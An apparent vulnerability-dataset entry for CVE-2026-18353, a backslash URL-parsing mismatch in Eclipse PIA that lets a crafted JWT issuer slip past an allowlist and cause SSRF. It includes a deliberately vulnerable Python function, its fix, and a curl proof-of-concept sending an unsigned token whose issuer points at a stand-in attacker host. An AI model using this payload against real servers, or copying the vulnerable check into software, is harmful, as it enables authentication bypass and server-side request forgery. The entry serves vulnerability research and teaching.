CVE-2026-18353

URL parsing flaw in JWT `iss` claim allows for issuer allowlist bypass.

• CVSS 8.8
• 918
• Input Validation and Sanitization
• Remote

PIA's `POST /v1/upload/sbom` endpoint accepts a Bearer JWT and checks its **unverified** `iss` claim against an issuer allowlist using Python's `urlparse` before performing OIDC discovery with `requests`. Because `urlparse` and `requests`/`urllib3` parse an authority string containing a backslash (e.g. `https://attacker-host\@ci.eclipse.org/`) into *different* hostnames, an attacker can craft an issuer that passes the allowlist check yet drives `requests` — and subsequently `urllib.request.urlopen` for JWKS retrieval — to connect to an arbitrary attacker-chosen host, port, and scheme.

CVE

CVE-2026-18353

CWE

918

CVSS base score

8.8

Published

2026-07-30

OWASP

A10 Server-Side Request Forgery (SSRF)

Orthogonal defect classification

Checking

Code defect classification

Incorrect Check

Category

Input Validation and Sanitization

Subcategory

Server-Side Request Forgery (SSRF)

Accessibility scope

Remote

Impact

Unauthorized Access

Affected component

urllib3

Fixed by upgrading

Yes

Solution

Upgrade Eclipse PIA to version 0.0.1.dev11 or later.

import requests
from urllib.parse import urlparse

ALLOWED_ISSUER_HOSTS = ["ci.eclipse.org"]

def fetch_oidc_config(issuer_url: str):
    # VULNERABLE: `urlparse` and the `requests` library parse hostnames differently for URLs with backslashes.
    parsed_url = urlparse(issuer_url)

    if parsed_url.hostname not in ALLOWED_ISSUER_HOSTS:
        raise ValueError(f"Issuer hostname '{parsed_url.hostname}' not allowed.")

    discovery_url = f"{issuer_url.rstrip('/')}/.well-known/openid-configuration"

    try:
        # A malicious issuer_url (e.g., 'https://attacker.com\\@ci.eclipse.org')
        # can bypass the check and cause `requests` to connect to an attacker's host.
        response = requests.get(discovery_url, timeout=5)
        response.raise_for_status()
        return response.json()
    except requests.exceptions.RequestException as e:
        raise ConnectionError("Failed to connect to OIDC provider.") from e

import requests
from urllib3.util import parse_url

ALLOWED_ISSUER_HOSTS = ["ci.eclipse.org"]

def fetch_oidc_config(issuer_url: str):
    # FIX: Use the same URL parser (`urllib3.util.parse_url`) that `requests` uses internally for consistency.
    parsed_url = parse_url(issuer_url)

    if parsed_url.host not in ALLOWED_ISSUER_HOSTS:
        raise ValueError(f"Issuer host '{parsed_url.host}' not allowed.")

    discovery_url = f"{issuer_url.rstrip('/')}/.well-known/openid-configuration"

    try:
        # The check is now consistent with how `requests` resolves the host, preventing the bypass.
        response = requests.get(discovery_url, timeout=5)
        response.raise_for_status()
        return response.json()
    except requests.exceptions.RequestException as e:
        raise ConnectionError("Failed to connect to OIDC provider.") from e

curl -X POST https://vulnerable-pia-instance.com/v1/upload/sbom \
-H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJodHRwczovL2F0dGFja2VyLWhvc3RcXEBjaS5lY2xpcHNlLm9yZy8iLCJzdWIiOiJhdHRhY2tlciIsImlhdCI6MTUxNjIzOTAyMn0."

@misc{vaitp:cve202618353,
  title        = {{URL parsing flaw in JWT `iss` claim allows for issuer allowlist bypass.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-18353},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-18353/}}
}